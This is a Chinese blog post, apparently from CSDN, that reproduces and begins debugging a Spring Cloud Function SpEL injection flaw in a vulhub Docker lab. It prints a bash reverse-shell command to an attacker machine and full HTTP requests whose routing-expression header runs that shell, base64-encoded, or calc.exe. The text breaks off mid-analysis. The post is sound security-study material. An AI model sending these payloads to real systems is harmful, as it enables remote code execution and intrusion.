Java代码审计之SpEL表达式注入漏洞分析_spel 代码审计(1)

最新推荐文章于 2024-05-05 01:06:04 发布

软件开发Java

最新推荐文章于 2024-05-05 01:06:04 发布

阅读量969

点赞数 10

分类专栏： 2024年程序员学习文章标签： java eureka 开发语言

本文链接：https://blog.csdn.net/m0_63174618/article/details/137479860

版权

2024年程序员学习专栏收录该内容

226 篇文章 0 订阅

订阅专栏

1、安装docker：
   apt-get install -y docker.io
2、安装docker-compose：
   pip install docker-compose
3、启动docker后台服务：
   sudo service docker start
4、将当前用户加入docker组
   sudo usermod -aG docker $USER
5、配置 docker 加速器（提高容器下载速度）：
   https://blog.csdn.net/feiying0canglang/article/details/126491715
6、下载vulhub漏洞目录：
   git clone https://github.com/vulhub/vulhub.git
7、进入想要复现的漏洞对应文件夹：
   cd ~/vulhub/struts2/s2-048/(示例路径）
8、以root身份执行以下命令开始运行漏洞容器：
   docker-compose up -d

回顾 Docker 用法请参考历史博文：渗透测试-Docker容器。

【推荐】提高 Docker 镜像下载速度请参考：Docker–提高下载速度的方法。

此处顺便再简单总结下 Docker 常用命令：

目的	命令
在Docker公用仓库搜索镜像	`docker search bwapp（容器镜像名）`
从Docker公用仓库拉取镜像	`docker pull raesene/bwapp（远程镜像路径）`
返回本地Docker容器镜像信息	`docker images`
将镜像运行为一个真正在运行的容器	`docker run -d -p 8080:80 本地容器镜像名`
查看正在运行的容器	`docker ps`
查看所有容器（无论是否正在运行）	`docker ps -a`
查看指定容器的详细信息	`docker inspect 容器名或id`
进入容器的shell交互模式	`docker exec -i -t 容器id bash`
停止正在运行的容器	`docker stop 容器id`
重启本地已停止运行的容器	`docker start 容器id`
强制删除本地容器	`docker rm -f 容器ID`

Ubuntu 虚拟机成功搭建环境如下：
在这里插入图片描述
物理机访问 Docker 服务（http://192.168.171.129:8080/）：

反弹shell

先说下这个漏洞产生的原因：如果在 /functionRouter 的 POST 请求头中添加一个 spring.cloud.function.routing-expression 参数，Spring Cloud Function 会直接将参数值带入 SpEL 中查询导致 SpEL 注入。

那我们直接在 POST 请求中发送反弹 Shell 的命令即可，此处使用同一局域网中的 Kali 虚拟机作为攻击机（192.168.171.128）：

bash -i >& /dev/tcp/192.168.171.128/6666 0>&1

但是需要使用 reverse-shell 在线工具将上述反弹 shell 的命令进行 Base64 编码（具体原因请参见：Java反弹shell小记）：
在这里插入图片描述
直接发送报文：

POST /functionRouter HTTP/1.1
Host: 192.168.171.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")
Connection: close
Content-Length: 6

test

在这里插入图片描述

【题外话】此处顺便补充一个小技巧，BurpSuite 如果显示字体模糊、分辨率不佳的情况下（比如此图，伤眼睛啊……），可以在桌面快捷方式右键选择“属性”，在兼容性中选择如下配置项后重启即可解决（效果可参见下文另外的 Burp 截图）：
在这里插入图片描述
此时 Kali 攻击机可获得反弹的 Shell（其中 1832.168.171.129 正是 Ubuntu 靶机的局域网 IP）：
至此，我们已成功复现该漏洞，通过 SpEL 注入实现了 RCE 远程命令执行。

最后，结束 Ubuntu 虚拟机靶场容器环境的运行：
在这里插入图片描述

CVE漏洞调试分析

简单的复现漏洞并不是目的，我们的目的是从历史 CVE 漏洞中分析根因，并尽可能能够实现在白盒代码审计实战中做到举一反三。

本地搭建

此处采用本地 IDEA 新建 SpringBoot 项目的方式来搭建漏洞环境，直接沿用前文 “案例演示” 章节中的简易 SpringBoot 项目。

不想折腾的话可以直接在 Github 获取来源的漏洞环境项目：Spring-Cloud-Function-Spel。

1、只需要在 pom.xml 中新增引入 spring-boot-starter-web、spring-cloud-function-web（存在漏洞的 3.2.2 版本）：

<dependency>
	<groupId>org.springframework.boot</groupId>
	<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
	<groupId>org.springframework.cloud</groupId>
	<artifactId>spring-cloud-function-web</artifactId>
	<version>3.2.2</version>
</dependency>

在这里插入图片描述
2、接着在 application.properties 配置文件中添加spring.cloud.function.definition=functionRouter（此配置也可以不配，非必需）

3、然后即可到 main 函数启动 Spring 项目：

然而发现以下数据包并无法触发漏洞：

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
Connection: close
Content-Length: 4

test

4、最终发现需要修改 pom.xml 配置文件中如下组件版本信息，才能成功触发漏洞（坑啊……）：

   <parent>
		<groupId>org.springframework.boot</groupId>
		<artifactId>spring-boot-starter-parent</artifactId>
		<version>2.6.5</version>
		<relativePath/> <!-- lookup parent from repository -->
	</parent>

在这里插入图片描述

调试分析

需要在上述命令执行处下断点，看下程序执行流程。

SpringCloud Function 之所以能自动将函数建立 http 端点，是因为在包 mvc.FunctionController 中使用 /** 监听了 GET/POST 类型的所有端点：
在这里插入图片描述
故我们在org.springframework.cloud.function.web.mvc.FunctionController#post方法上下断点进行跟踪，程序会获取 body 中的参数，并传入 processRequest 方法中：